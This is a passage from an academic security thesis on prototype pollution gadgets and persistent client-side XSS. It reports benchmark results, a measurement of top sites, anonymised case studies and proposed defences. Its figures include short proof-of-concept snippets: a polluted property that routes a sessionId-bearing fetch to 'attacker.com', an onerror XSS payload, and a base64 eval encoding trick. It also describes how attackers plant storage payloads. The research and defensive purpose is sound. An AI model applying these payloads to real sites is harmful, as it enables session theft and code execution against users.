manipulations/gadgets known to us [14]. In 4 out of those 11 test cases, the vulnerability
was automatically present once the library was included into the page. As for the
remaining 7, the application needs to call the vulnerable part of the library, meaning
that if they do not use this particular part, they do not introduce the vulnerability. For
all of the investigated issues, an attacker can compose arbitrary objects, as all parsing
routines parse an access path from the URL and initialize any non-existing properties
with empty objects. The source of the prototype pollutions is always the currently
visited URL, and all vulnerabilities follow the same structure with minor variances
on whether dots or brackets are used to represent property accesses and whether or
not the __proto__ or the constructor property is used to assign a new value to a
prototype. Furthermore, the application might either parse input from the fragment of
the URL or the query parameters.
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5.3.2 Prototype Gadget Benchmark

We built a test suite consisting of prototype gadgets that lead to XSS found in 15 different
libraries, again relying on the public repository[14], and taking one representative per
library as shown in Table 5.2. The test cases in this benchmark cover the behavior from
a single property that is used while using a for..in iteration (e.g., Wistia), to multiple
properties, which are directly accessed by the application, that jointly contribute to the
vulnerability (e.g., Tealium).

Furthermore, from our manual analysis of the PoC exploits, we see that in various
instances, attackers rely on intricate JavaScript interactions (e.g., Akamai Boomerang)
and bypasses to filter mechanisms (e.g., lodash). The need to deploy such tricks renders
an automated exploit generation scheme, as we proposed with our Exploit Templates or
the techniques presented by Lekies et al. [67] and Melicher et al. [77], inapplicable. As
we have no real knowledge about the threat of pollution gadgets outside of the PoC
exploits that we have seen, we opt to leave automated exploit generation techniques for
future work and instead focus on analyzing all real-world flows as found by our system.

As for using our system against the benchmark of 15 Prototype Gadgets, we can
find the PoC flow in 10 cases and find exploitable flows in 11 libraries. Additionally, for
two libraries, we find another PoC exploit relying on a different property that enables
XSS, as well as two libraries that suffer from a client-side CSRF vulnerability [52].

The remaining 5/15 missing cases can be attributed to two factors, i.e., the number
of properties needed for successful exploitation and limitations of our approach. As
becomes apparent in Section 5.4, our mechanism needs to heavily limit the number
of test cases that we investigate, primarily due to the path explosion problem. We
only ever investigate a single fallbacking property in a given run, naturally, this means
that we do not aim to find vulnerabilities relying on more than one property flow (e.g.,
Tealium). However, for the case of Tealium, we find another, more simple flow that only
relies on one property and also allows an attacker to gain code execution.

As for the other cases, i.e., Akamai Boomerang, Knockout, Zepto, and Backbone,
we now discuss a more thorough analysis of each of the challenges that they exhibit in
the following.

5.3.3 Limitations of our Approach

In this section, we discuss three of the four cases in which our system is unable to
find prototype gadget vulnerabilities, as those three provide unique challenges for any
continuation and improvement to our work and the underlying software stack. We
disregard the Tealium case in this particular discussion, even though we were unable
to find the PoC flow. That is, due to our engine not finding the flow solely due to us
limiting analysis to single property fallbacks.

5.3.3.1 Zepto

In the Zepto library case, we could find that we were unable to properly handle the
custom type inference routine depicted in Figure 5.9. In this example, the library
authors make use of Object.prototype.toString, which provided with different
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Library PoC Additional Vuln Comment
Adobe Dynamic Tag Additional CCSRF gadget
Akamai Boomerang
Closure
Embedly Additional XSS gadget
jQuery getScript
Lodash Additional flow (mitigated by hasOwnProperty)
Recaptcha
Tealium Non PoC XSS gadget
Twitter
Wistia
Segment Additional CCSRF gadget
Knockout
Zepto
Sprint
Backbone + Marionette Find the correct program point with false positive flow

Table 5.2: Libraries introducing Prototype Gadget Vulnerabilities

base types as argument always returns a fixed String associated with the type, as
can be seen with an example in the class2type map. As a path constraint of the
vulnerable path, one of our symbolically treated fallbacking properties would need to
pass such a type check for the string type. Due to the nature of our analysis, we have
no prior knowledge of which objects are supposed to be in place of our symbolically
treated values. Thus, whenever we need to concretize symbolic values, e.g., when using
a symbolic value as an accessor or when using symbolic values as arguments to native
functions, we have two options. First, we can use our collected constraints, up until this
point, and construct an assignment for the object in question using our constraint solver.
However, if we examine this example, we need to have the correct concretization lacking
the knowledge of which comparison the program intends to perform after returning from
the type function. While such a case could be supported, e.g., whenever we see that a
symbolic property is accessed, we use a new symbolic value that represents any of the
possible outcomes of an access to the object and emit the appropriate implications to our
path constraints. Unfortunately, our taint propagation step discussed in Section 5.2.3
relies on concretizing symbolic values, used when we analyze for..in statements, to
unique strings, such that we can have a precise attribution between symbolic key/value
pairs. We opt to favor proper support for for..in iterations as those make up for
a more significant fraction of the observed pollution gadgets, yet, if we were able to
model JavaScript objects and property accesses in our symbolic world, e.g., by having
support for arbitrary JavaScript-like objects in the constraint solving logic, we could
easily support both cases at the same time.

5.3.3.2 Knockout JS

In the case of the Knockout library, we find that the vulnerability resides in a custom
expression parser, which, provided with the correct input, can be coerced into executing
arbitrary code. The expression parsing routine is depicted in Figure 5.10, and relies on a
loop that assembles the expression to evaluate while checking for the expected syntactic
structure. To successfully find a sensitive flow in this example, our analysis would need

60



5.3. BENCHMARK EVALUATION

1 class2type = {
2 "[object String]": "string",
3 ...
4 }
5 function type(obj) {
6 return obj == null ? String(obj) : class2type[toString.call(obj)] || "object"
7 }

Figure 5.9: Custom Type Checking Routine of Zepto

1 for (var i = 0, tok; tok = toks[i]; ++i) {
2 var c = tok.charCodeAt(0);
3 if (c === 44) { // ","
4 // end parsing
5 } else {
6 // interpret in expression language
7 }
8 }

Figure 5.10: Simplified Expression Parser in Knockout

to consider two symbolic values, one representing Object.prototype.4 and the
other Object.prototype.5, where 4 would incorporate our payload and 5 would be
needed to comply with the custom grammar of this expression parser. Even though our
pipeline only generates testcases for single property flows, this case is noteworthy due to
another limitation that is in place to cope with the path explosion problem. We opted to
treat each branching statement in the analyzed website context-insensitive. This means
that we generate overall fewer test cases which helps us to converge to a meaningful
yet, exhaustively analyzable dataset as discussed in Section 5.4. Unfortunately, this
simplification means that we do not generate testcases where these two symbolic values
take differing branches. Thus, with the current test case generation strategy, we could
not find such cases.

Assuming that our techniques would be adopted in a setting where a single party
would be interested in finding all issues within their site, the framework could easily be
adapted to remove those simplifications, to enable a first party to analyze all possible
test cases, as our restrictions are merely a result of the need to converge to a meaningful
dataset provided with limited computational resources.

5.3.3.3 Akamai Boomerang

In the case of the Boomerang library from Akamai, we have found an intricate interaction
in JavaScript that lacks any meaningful representation in our symbolic state space. The
code snippet in Figure 5.11 depicts the JavaScript behavior that enables the prototype
gadget in this library. In this example, we have two polluted properties, i.e., number
with an integer and foo with a string value. In JavaScript, assignments of properties to
integers do not actually assign any values to these properties. However, accesses to such
properties still fall back to the prototype, which allows an attacker to substitute integers
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1 Object.prototype.number = 1;
2 Object.prototype.foo = 'bar';
3
4 let number = ({}).number; // evaluates to 1
5 number.foo // evaluates to 'bar';
6 number.foo = 'snafu'; // assignment is essentially a no-op
7 number.foo // evaluates to 'bar';

Figure 5.11: JavaScript Quirk used in Boomerang PoC

whenever they want to nullify assignments from the program. To support such(and
similar) quirks, we would need to be able to perfectly model all JavaScript behavior
using the constraint solving logic of our choosing. Since there does not yet exist such
a translation layer or logic, any attempt to model JavaScript behavior in the logics
available to us contains abstractions issues, mainly due to JavaScript’s design decisions
making any kind of sound program analysis inherently hard [73]. While we could try to
adapt our symbolic states, as best as possible, to accommodate for this particular quirk,
we do not see this as a central contribution of our work and instead defer such attempts
to future engineering efforts.

5.4 Empirical Measurement

In the following, we report on our experiment in which we used our system on real-world
sites finding 0-day pollution gadgets. We used the Tranco list [100], with the identifier
GWPK as a seed to our experiment, and initially visited the 100 most popular sites
using the following format http://entry. On the initial page visit, we collected all
fallbacking properties and generated the initial testcases accordingly up to a maximum
of 5,000 properties per Tranco entry. For each of these testcases, we limited the amount
of different paths throughout the program that we visit to 100. We restricted any single
test run to never exceed ten minutes. Overall, we generated a total of 194,435 testcases
from our 100 seed sites, which we visited over the course of three days.

5.4.1 Property Fallbacks in the Wild

While analyzing our testcases, we collected all properties that would fallback to their
prototypes, leading to a staggering 1,360,779 unique site/property pairs. Whenever we
encounter a fallback via a for..in iteration, we count this towards a single property
access per distinct for..in iteration. We find that on 74 of our investigated 100
sites, fallbacking properties exist. This means that on average, any of our sites with
fallbacking properties contains 18,388 unique fallbacking properties, with a mean of
2,602. These numbers highlight that the amount of properties an attacker can work
with is significant. Concerning the outliers with the most fallbacking properties, we can
see patterns of seemingly random, seven-character identifiers being accessed on objects,
which are however not exploitable to the best of our understanding. This leaves the
mean as a better estimate for the amount of properties that are reasonable to analyze
in any given website.
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We recorded a total of 71 sites which copied any of these fallbacking properties to
another object, thwarting any hasOwnProperty checks.

Overall, we see that fallbacking properties are widely spread in top sites, and the
sheer amount of those renders any manual analysis infeasible. While we limited our
analysis to analyze only 5,000 properties per site, we think that this provides us with a
reasonable tradeoff for finding actual vulnerabilities while keeping runtime reasonable.

5.4.2 Vulnerability Analysis

While analyzing the 165,897 testcases, our concolic engine emitted a total of 9,580
reports spread across 52 of the 74 sites with fallbacking properties. While the number
of reports seems high, we have not applied de-duplication steps. If we find a data flow
that is present in multiple paths that we visit while investigating a single property, we
emit one report for every one of those paths. We investigated all reports for our 52
sites and could build PoC exploits for 36 of them. Out of those, 29 were susceptible
to an XSS, with one site having a non-trivially bypassable CSP preventing direct code
execution. Another 11 sites were susceptible to a client-side CSRF vulnerability, which
allows an attacker to completely control the URL to which a request is made. These
requests often include identifiers in the request parameters, which an attacker can leak
to their own server. In the remaining 23 of the 52 sites, we found various instances in
which attackers can only partially control URLs, e.g., requests and sources of scripts
that the application fetches. While these could introduce security issues, e.g., on the
server-side or provided with open redirects if the attacker can control the path to a
scripting resource, we do not further analyze such cases. Importantly, we are also able
to observe limitations of our framework in clear false positive reports issued by the
engine. As we have seen earlier, adding a property on a prototype also means that
we observe this property whenever we use for..in iterations over an object of the
given prototype. In our testcases, we disregard for..in iterations when we analyze
properties that are directly accessed by the application and fallback to the prototype.
Doing so reduces the amount of path constraints that might depend on our symbolic
values, and thus overall, reduces the amount of test cases that we need to investigate.
However, we have seen cases in which properties that are added to the prototypes lead to
runtime errors in other parts of the code where the application uses for..in iterations.
These exceptions, in turn, prevent the script from executing and eventually reaching the
vulnerable program point, rendering any exploit attempt infeasible. Overall, we could
find this pattern in 6 of our 52 investigated sites.

5.4.3 Case studies

In this section, we present case studies of the vulnerabilities we could find using our
pipeline paired with a manual examination of the reports. We present those cases in an
anonymized fashion, as we are still in the process of reporting those vulnerabilities to
the affected parties.
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1 for (var e in b)
2 if (f = b[e], !1 !== f && null != f) {
3 var h = "undefined" === typeof f ? "undefined" : q(f);
4 "string" !== h && (f = m(h, f));
5 "xlink:href" == e ? d.setAttributeNS("http://www.w3.org/1999/xlink", "href", f)

: d.setAttribute(e, f)↪→
6 }

Figure 5.12: Code Snippet in Large Online Retailer introducing XSS Gadget

5.4.3.1 XSS in a Large Online Retailer

In this case, our engine reported that we could influence various properties of, among
other elements, a script element, as the site was using a for..in iteration displayed in
Figure 5.12. This example is very similar to our running example displayed in Figure 5.5
and shows that for..in iterations can introduce subtle prototype gadgets even in top
applications.

As the application ensured that the script element’s content that was added matched
a specific hash via Subresource Integrity, we were able to exploit this using an onload
handler, as the site used a default script location if none was set. However, this
straightforward use case where the polluted property coincides with the sink, either
done via for..in iterations or via direct property copies, occurred in 9 sites. Thus, a
very simple and lightweight strategy to find these cases could rely on fuzzily testing all
of the relevant sink properties with respective payloads and observe if they trigger in
the application. While this works in such easy cases, the small amount of such easy
cases highlights the need for a more sophisticated approach.

5.4.3.2 CCSRF in a Large Online Payment Provider

Figure 5.13 depicts our proof of concept abusing a client-side CSRF vulnerability in a
popular online payment provider. Our engine allowed us to reconstruct the structure
that is expected from the application. Our report indicates that the fallbacking property
is used as the complete URL of a POST request, i.e., entirely controllable by an attacker.
This request ultimately thwarts the protection offered by, e.g., SameSite cookies, as the
request now comes from within the application. Furthermore, we find that this request
carries parameters that might be sensitive and that the attacker is able to leak to their
servers.

5.4.3.3 XSS and CCSRF in Page of Large Tech company

On the front page of a large tech company, we were able to find a total of three gadgets
that an attacker could abuse. Figure 5.14 shows our PoC with abbreviated and simplified
code snippets that portray how the vulnerabilities where introduced. As for the first
CCSRF, the application uses the fallbacking endpoint property in the hostname portion
of the URL later used in an XHR (here displayed as fetch for brevity). This allows
the attacker to either issue a request to any endpoint within the site, with the user’s
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1 Object.prototype.CompanyJSBridge = {
2 startupParams: {
3 bizScenario: "1",
4 chInfo: "1",
5 referSPM:"1",
6 tracertTaskId: "1",
7 tracertVerifyServer: "https://example.com"
8 }
9 }

Figure 5.13: Client-Side CSRF in payment provider

1 // trivial CCSRF injection in the hostname
2 Object.prototype.serverDomain = 'attacker.com',
3 fetch("https://" + serverDomain + "somePath?sessionId=ABCDEF";
4
5 // hostname extension CCSRF
6 Object.prototype.endpoint = ".attacker.com";
7 // vulnerable code snippet for length extension
8 fetch("https://example.com" + endpoint + "somePath?sessionId=ABCDEF";
9

10 // XSS gadget flow into innerHTML
11 Object.prototype["1"] = ["text", '<img src=x onerror=alert(1) onload=alert(1)>']
12 // m is an array, that is later assembled into an HTML string passed to innerHTML
13 for (var I = 0, L = S.length; I < L; ++I)
14 c(A = S.charAt(I)) ? v.push(m.length) : _ = !0,
15 m.push(["text", A, E, E + 1]),E += 1,"\n" === A && w();

Figure 5.14: Three prototype gadgets found in a site of a big tech company

credentials attached even in the presence of same-site cookies, or allows them to leak
the potentially sensitive information appended in the query parameters of the URL.

The second CCSRF is a little bit more subtle in the sense that the injection point
for an attacker happens at the end of the hostname, but before the path begins. The
application misses a slash, such that an attacker can simply extend the hostname to a
subdomain under their control to leak the information. Similarly, they can freely change
the path to which a request could be made within the same page to request arbitrary
endpoints within the site.

The last gadget that we could find within the frontpage of this tech company was
an XSS gadget relying on the fact that the application iterates over an array’s length,
disregarding that some elements in the array might not be defined. However, accessing
those "empty" spots in JavaScript arrays, incurs a fallback to the prototype. In this
specific example this allows an attacker to push their HTML payload into the array,
which is later assembled into a string passed to the innerHTML property of a DOM
element.
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5.5 Discussion

In this section, we discuss how our insights can help to fuel discussion for defense
mechanisms that can be put into place by either developers or browser vendors. Fur-
thermore, we discuss our observation that most known vulnerabilities with proof of
concepts remain unfixed throughout our investigations, leaving end-users at risk.

5.5.1 Design of a Defense Mechanism

Unfortunately, due to the significant amount of differing fallbacking properties within
our investigated pages, merely asking developers to refactor their applications to apply
hasOwnProperty checks on every potentially fallbacking property seems intractable
and not scalable.

In a separate crawl of the top 100, in which we also investigated up to 100 subpages
to gain insights into the page beyond their front page, we measured how these sites
utilize assignments to prototypes in a benign fashion. To that end, we used Jalangi to
report whenever the application added properties to the String, Number or Object
prototypes via either Object.assign, Object.defineProperty,
Object.defineProperties or via assignments to the prototypes directly. We find
a total of 592 unique property/site pairs. All but one of those were assigning functions
to the respective properties. As we have seen in Section 5.3.1, attackers are only able to
tamper basic types in the PoC’s that are observable in the wild, which means that they
would not be able to tamper those properties in a meaningful way.

Overall, we see that fallbacks to non-function values occur very rarely (1/100) in
our investigated applications. Provided with this observation, we can propose that
browser vendors might deploy a new security mechanism that prevents exactly those
fallbacks. Such a mechanism could allow for an allow-list that specifically enables specific
properties to fallback, without being substituted with undefined values if needed by
the application. While it is generally desirable to altogether opt-out of such accidental
fallbacks, we have seen that one of the investigated application relied on such behavior
to implement benign functionality. Yet, this application would only need to ensure that
this one property does not end up being used in a dangerous sink, compared to the
mean of 2,602 fallbacking properties per site.

Unfortunately, there exists no universal way in which we can disallow access/changes
to the prototypes, except using Object.freeze. While this solution would eradicate
any attempt of an attacker to abuse a prototype manipulation, this also disallows all
function property assignments, which we have seen to be prevalent, especially on the
String prototype.

While a universal mechanism still lacks deployment, we can envision that our
toolchain might be used to compile a list of all fallbacking properties, which can then
be used with the techniques shown in Figure 5.7, to disallow any part of the code
to overwrites these non-function properties on the respective prototypes, essentially
nullifying the impact that any prototype manipulation would have on the security of
the application. An attacker would then still be able to change function properties, yet,
this would only allow them to provoke a runtime exception in the client-side code when
those properties are used as function pointers but are no longer callable values. As

66



5.5. DISCUSSION

this only breaks the page if the user visits a link provided by an attacker and does not
introduce any lasting effects, we consider this to not induce any security issues. Thus,
such a solution would be a appropriate to mitigate these issues while a platform-based
solution is not yet deployed. However, as code changes of the first party or included
libraries might introduce new properties that fallback to the prototypes, developers
need to keep this list up-to-date over its deployment time.

5.5.2 Dangers of Unfixed Prototype Gadgets

One trend that we observed is that the vulnerabilities, be it prototype manipulations or
gadgets, reported via [14] remain largely unfixed over time. Unfortunately, the mere
presence of these vulnerable libraries does not yet mean that the applications using
those libraries are vulnerable, as we could observe in Section 5.3.1. Overall, we are
unable to judge the impact that these vulnerabilities have on the Web.

While we were able to find that already known prototype gadgets exhibited via the
jQuery library amounted to vulnerabilities in 5 sites for which we could not find any
other gadget that resulted from non-library code. This constitutes roughly 17% of the
sites susceptible to our code-execution gadgets.

On the other hand, we completely lack any insights into the prevalence of actually
exploitable prototype manipulation gadgets found in the wild. To assess how many
sites are in fact vulnerable to such simple prototype manipulation vulnerabilities, we
generate 10 payloads from the PoC pollutions detailed in Section 5.3.1 and check
whether visiting a site with one of these payloads as part of the URL incurs a pollution
of the object prototype. Using this technique, we visited the top one million Tranco
entries to investigate how prevalent usage of such libraries leads to prototype pollution
vulnerabilities. Ultimately, we are able to find 3,250 sites that exhibit such a trivially
exploitable prototype manipulations. Yet, we are unable to find any in the top 100 sites,
which means that we cannot find an easily end-to-end exploitable chain of prototype
manipulation and prototype gadgets as uncovered by our concolic engine. Nonetheless,
our analysis was very superficial in nature, as it only visits the front pages to find
manipulations/gadgets and we expect that extending it to subpages allows us to uncover
larger attack surfaces for attackers. Furthermore, recent findings of Lauinger et al. [64]
highlight that top sites, in particular sites up to rank 100, are less likely to include
vulnerable libraries. Then again, we are able to show that if they would inadvertently
include libraries susceptible to prototype manipulations, attackers would have plenty of
options in exploiting different prototype gadgets.

Overall, we can conclude that those libraries remaining unfixed pose a significant
threat to Web applications that might not even be aware of the emerging threat of
prototype pollutions altogether. Also, we want to highlight that even though an
application needs both a manipulation and a gadget to allow for successful exploitation,
each of these issues can be fixed independently. Doing so removes the danger that once a
prototype manipulation is inadvertently introduced into a site, e.g., via new versions of
popular libraries, attackers lack appropriate gadgets to capitalize on the manipulation.

While a solution that is implemented as part of the Web platform as discussed in
Section 5.5.1 might be beneficial in the long run, we think that fixing manipulations
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and gadgets in widespread libraries, as well as using our system to find 0-day gadgets,
can significantly improve the security of Web applications in the present.

5.6 Summary

We showed that 36 of the 100 most influential sites as of today exhibit prototype gadgets
allowing attackers to capitalize on prototype manipulations to gain code execution (29)
or to forge requests (11) within these top sites. To achieve this feat, we presented a
concolic engine implemented via Jalangi paired with taint analysis that allows us to
track data flows from potentially tamperable properties on prototypes to dangerous sink
accesses such as document.write or fetch. We provide insights into domain-specific
taint propagation techniques needed to correctly model language subtleties introduced
via for..in iterations and evaluate our complete pipeline on a benchmark compiled
from 15 publicly known proof of concept pollution gadgets.

We show that websites rarely make use of prototype fallbacks to non-function
properties, the main vantage point allowing attackers to abuse prototype manipulations
to gain, e.g., code execution. We propose a security mechanism that can be deployed to
the Web platform capitalizing on this observed disconnect between benign and malicious
behavior, which can be implemented as a polyfill solution by developers while platform
support still lacks.

Overall, we provide evidence that prototype gadgets are a threat to modern applica-
tions even outside of library code, yet, library maintainers should prioritize addressing
1-day vulnerabilities that remain largely unfixed.
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As we were able to show in Chapter 4, attackers can be able to control the content
of client-side storage mechanisms such as local storage or cookies via state manipulation
vulnerabilities. Naturally, attacker-controllable persistently stored values are very
reminiscent of persistent server-side XSS payloads. Yet, our community lacks detailed
insights into the prevalence of such persistent vulnerabilities caused by the insecure
usage of values stored on the client side.

To that end, we propose a system build on a taint-aware browsing engine and
automated exploit generation to study this threat landscape. We explore how two
prominent attacker models, i.e., network and Web attacker, can tamper with client-side
storage mechanisms. Finally, we present an empirical measurement of the threat of
persistent client-side XSS on the top 5,000 sites and discuss the underlying use cases in
which developers inadvertently introduced such vulnerabilities. With these insights, we
propose design patterns that are functional equivalent yet, no longer vulnerable.

6.1 Understanding Persistent Client-Side XSS

The following chapter topics the notion of persistent client-side XSS. We discuss how
data persisted in the victim’s browser, if used in an insecure fashion by the enclosing
application, allows attackers to execute their malicious payloads in the vulnerable site
persistently. We then reason about two additional attacker models, besides vulnerable
postMessage handlers as discussed in Chapter 4, that allow for storage manipulation by
an attacker serving as the entry point for abusing persistent client-side XSS.

While reflected XSS vulnerabilities already allow an attacker to perform actions
on behalf of the user, e.g., issue authenticated requests, the most valuable asset an
attacker might attempt to steal is the user’s credentials. They can either steal their
session identifiers, e.g., the cookies that authenticate the user towards the server, or
their username and passwords for the vulnerable site. Yet, authentication cookies can
be protected via so-called HTTP-only cookies [83] and users’ might be hesitant in
entering their credentials in an unknown network or when clicking attacker-issued links.
Even under such precautious measures, users’ would still fall susceptible to persistently
exploitable vulnerabilities. Since the attacker’s code is executed on each subsequent
page load, the user can fall victim to the malicious payload long after the attacker’s
initial infection. Ultimately, this allows the attacker to continuously monitor all user
inputs using a JavaScript-based keylogger or monetize their victim’s resources using
Cryptominers [58].

6.1.1 Vulnerable Use of Persisted Data

Figure 6.1 provides an overview of the steps involved when exploiting a persistent
client-side XSS vulnerability. First, the vulnerable site retrieves a value from a client-
side storage mechanism and subsequently uses this value in a dangerous sink access,
i.e., eval (1). An attacker capable of manipulating this storage (2) can plant their
payload in the respective storage mechanism, which is then used instead of the benign
data that the application intends there to be. Lastly, after the data was put into eval,
the attacker’s code runs inside the page’s context, allowing them to abuse any of the
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example.com

http://example.com

<script>
  eval(getStoredValue());
</script>

attack();
1

3

Figure 6.1: Persistent Client-Side XSS Attack

previously outlined exploitation scenarios (3). In this example, it is apparent that the
developer’s intended use-case is client-side caching of code snippets, e.g., there might be
the need to save library code in the local storage.

Naturally, vulnerable patterns are not limited to the specific scenario that we outlined
in Figure 6.1. However, we defer a more in-depth discussion on the use cases that we
can find in the wild to Section 6.3.4.

As discussed earlier, Web Storage is not the only client-side store, meaning that the
outlined scenarios are very similar for any flow that stem from cookies that are accessed
via the document.cookie property. The length limitation of cookies typically does
not interfere with exploitability, as exploits can introduce further attacker code via
additional script inclusions. Since session storage persists only within one browsing
window, we exclude it from our further analysis and instead focus on local storage and
cookies.

6.1.2 Differences From Persistent Server-Side XSS

Persistent server-side XSS has been extensively studied in related research [76, 6, 53,
28], with one of the most recent papers from Dahse et al. [28], finding several vulnerable
PHP-based Web applications using static analysis. The persistency of such server-side
XSS stems from attacker-controllable values being stored in the server’s database system,
e.g., in a SQL database. A famous persistent server-side XSS was abused in the hack
of the Ubuntu forums in 2013 [122]. Attackers were able to take over administrator
accounts using the persistent XSS. With access to these accounts, they were able to gain
complete access to the database system. As the XSS payload was persistently stored in
the database, the payload could be recovered in the post-mortem analysis.

Contrarily, in the setting of persistent client-side XSS, only individual users’ client-
side storage mechanisms are tampered with, which is harder to detect, as the content of
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these stores is not necessarily sent to the server, i.e., in the case of local storage. On the
flip side, however, this means that every user needs to be infected individually. Thus,
we now discuss how attackers can tamper with these client-side stores by elaborating on
our attacker models.

6.1.3 Persisting Malicious Payloads

The prerequisite to exploiting a persistent client-side XSS is the attacker’s ability to
control the content of the victim’s client-side storage mechanism. Besides setting storage
entries via maliciously crafted postMessages, as we discussed in Chapter 4, we elaborate
on two additional attacker models that are capable of injecting arbitrary values into
either cookies or local storage.

6.1.3.1 Network Attacker

A network-level man-in-the-middle attacker can tamper with all unencrypted packets
that they are able to intercept between the client and their target server. They can also
choose to drop the connection altogether, or serve arbitrary content under their control,
e.g., a crafted HTTP response with an HTML page of their choice. We do not assume
that the attacker can obtain a valid TLS certificate, which means that the capabilities
of the attacker are limited to HTTP traffic, which is in line with related research [110,
145, 41]. In theory, this allows them to tamper with cookies, as they are bound to the
hostname. Also, they can tamper with the local storage of the HTTP version of the
site, as local storage is bound to the origin.

To illustrate how the threat scenario of a network attacker interfaces with the threat
of persistent client-side XSS, we assume that a security-aware user is browsing in an open
Wifi provided at their local coffee shop. Due to their security-awareness, they might
refrain from performing any sensitive operation, e.g., login to their banking application
or social media. However, an attacker is able to plant their malicious payload, e.g., in
the banking application, while the user browses in the unprotected WiFI. Once the user
logs in to their banking application in a secure environment, e.g., their home network,
the payload is executed. An attacker could then intercept the login credentials, even
though they were never used in the insecure network.

An attacker can plant cookies by either using the Set-Cookie header in an
intercepted or crafted HTTP response or by including JavaScript code into an intercepted
HTML document that uses the document.cookie API to set the cookie. This requires
the attacker to be able to intercept an HTTP request to the vulnerable page, which
they can force by intercepting any HTTP response, e.g., the request to a captive portal
[80], and return an HTTP document that contains an iframe pointing to the HTTP
version of the vulnerable site. They can then intercept the subsequent HTTP request
to the target application and tamper with the client-side storage mechanism.

As cookies are bound to the hostname and not the origin, an adversary can set
cookies that are valid for any of the parent domains of the currently visited document.
In particular, cookies that are also sent and accessible in HTTPS contexts. Yet, sites
can protect themselves from being accessed over HTTP and thus deny the attacker
the capability of setting the cookies by using HTTP Strict Transport Security (HSTS)
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<script>
  addStorageEntry();
</script> 3
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Figure 6.2: Network Attacker Persistence

[46]. The victim’s browser would, given appropriate deployment of HSTS, deny visiting
the HTTP version of the site and instead automatically try to establish an HTTPS
connection.

However, HSTS must be configured to include the includeSubDomains flag.
Otherwise, an attacker could point the iframe to a non-existing subdomain, which
cannot be protected via HSTS, and abuse the fact that cookies can be set for parent
domains of the currently visited hostname, e.g., set a cookie for example.com from
nx.example.com.

Suppose a specific cookie is already present in the victim’s cookie jar. In that case,
attackers can evict the cookie in question by adding various different cookies, as modern
browsers limit the number of cookies stored simultaneously per domain [104]. Another
option is to use the Path property of cookies to define cookies that are more specific
than those already contained in the cookie jar. The tampered cookie would then be
used on all (sub) paths as specified by the attacker, limiting the pages that an attacker
could be exploiting in a persistent fashion.

Contrary to cookies, local storage is bound to the origin of a domain. This means
that a network attacker cannot inject their malicious payloads into the HTTPS origins
of a given site.

To wrap up, Figure 6.2 shows one attack scenario that can be performed by the
network attacker. First, the user visits the vulnerable site over HTTP (1). The attacker
intercepts this request and, instead of forwarding it to the respective server, serves the
user a maliciously prepared HTML page (2). Once rendered in the user’s browser, this
HTML page sets the vulnerable storage entry, which is later on used in a dangerous
sink as described in Figure 6.1.

6.1.3.2 Web Attacker

The Web attacker can control a site hosted on the Web and lures their victims on
their crafted pages. They can force the victim’s browser to load any resources from
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<script>
  addStorageEntry();
</script>
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Figure 6.3: Web Attacker Persistence

arbitrary URLs on these crafted pages. In the following, we discuss two additional
options, which do not abuse vulnerable postMessage handlers as discussed in Chapter 4,
on how attackers can manipulate client-side stores as a Web attacker.

First, the attacker can abuse an otherwise present reflected XSS flaw. Having
arbitrary code execution in the origin of the target page, particularly in the HTTPS
version, allows them to set the cookies and plant local storage entries arbitrarily. They
can thus plant their payload in the exact storage mechanism and with the corresponding
key. The flow from the storage mechanism to the dangerous sink executes their persistent
payload on each subsequent page visit.

Second, a page might contain an unfiltered data flow that originates from the URL
and ends in either document.cookie or the local storage. Naturally, which parts of
this flow an attacker can control largely depend on the application, yet an attacker
might be able to set such entries arbitrarily. Still, they might also be limited to specific
prefixes, similarly to what we could observe in our analysis of postMessage handlers
Section 4.3.1.

The different steps of this attack are depicted in Figure 6.3 at the example of an
abused reflected XSS. First, the attacker lures the victim onto their page using social
engineering techniques, e.g., by hosting interesting content (1). Then, the page embeds
a hidden iframe pointing to the target application, which abuses the reflected XSS (2).
Next up, the reflected payload puts the desired payload into the storage mechanism (3).

6.2 Detecting Persistent Client-Side XSS

In this section, we discuss how we detect persistent client-side XSS in Web applications at
scale. On a high level, we trace exploitable flows stemming from one of our investigated
client-side stores to a code-executing sink.

To achieve this goal, we first discuss how we collect such data flows and the associated
storage values. We follow this up with details on how we leverage this information to
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1 var userinfo = getCookieValue("userinfo");
2 eval("var user = '" + userinfo + "';");

Figure 6.4: Example of Context-Aware Break-Out/Break-In

generate exploit candidates, which we can then validate under the assumption that
attackers can arbitrarily control these stores. In the end, we can then discuss how we
can map our more restricted attacker models to real-world sites, which allows us to find
end-to-end exploit chains, incorporating both infection and code execution flows.

6.2.1 Flow and Storage Collection

Our flow collection is based on the taint-aware browsing engine built by Lekies et al.
[67] in 2013, which is why we keep its explanation brief as this is not a contribution of
the author of this thesis.

The engine is based on Chromium and is able to attach taint information to strings
that are propagated through the JavaScript program. Such propagations occur when,
e.g., string concatenations take place. Whenever tainted strings end up in interesting
DOM functions, which are called sinks, such as code-execution sinks (e.g., eval or
document.write) or in assignments to client-side stores, the engine emits information
about the data flow, which we can then use for later generation of exploit candidates as
discussed in Section 6.2.2.

We augment their crawling infrastructure, which consists of a Chrome Extension, to
report all cookies and all elements found in local storage. This collection is performed
via JavaScript that is injected into the page, as there might exist cookies that are
not accessible via JavaScript, i.e., they were set with the HTTPOnly mechanism. In
conjunction with the aforementioned data flows, we can then reconstruct which specific
stored values were the source of data flows from persistent storage, as the engine is not
able to pinpoint the exact stored key/value pair that was used.

6.2.2 Exploit Generation

Previous techniques that were built to find reflected client-side XSS [67, 77] split the
generated exploits into three distinct parts, i.e., the breakout sequence, the malicious
code, and the breakin sequence. We consider Figure 6.4 to explain such exploit generation
techniques’ fundamental building blocks.

An injection point for an attacker might be at an arbitrary point in the string that
is then passed into the dangerous sink. In our example, the attacker-controllable part
is inside a string that is assigned to the variable user. Any input that the attacker
adds that stays within the boundaries of this string does not achieve arbitrary malicious
behavior, which is why the attacker needs to first break out of the string context and
subsequently out of the assignment. This allows them to add their arbitrary payload,
which we substitute with alert(1) as a proof of concept in this example. Lastly, the
application itself never accounted for an input that breaks out of this string context,
which is why they close the string and terminate the assignment statement themselves.
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1 let payload = "(" + function(){
2 // attacker code goes here;
3 console.log("this can be arbitrary code");
4 } +")()";
5
6 let encodedPayload = btoa(payload);
7 console.log(encodedPayload); // prints the string "KGZ...KCk="
8
9 eval(atob(encodedPayload)) // when used as payload, substitute encodedPayload with

the string "KGZ...KCk="↪→

Figure 6.5: Example of Encoding Arbitrary Payloads without Semicolon

An attacker needs to ensure that this does not produce any syntactical errors, which
is why the initial works propose catch-all break-in sequences. A final payload would
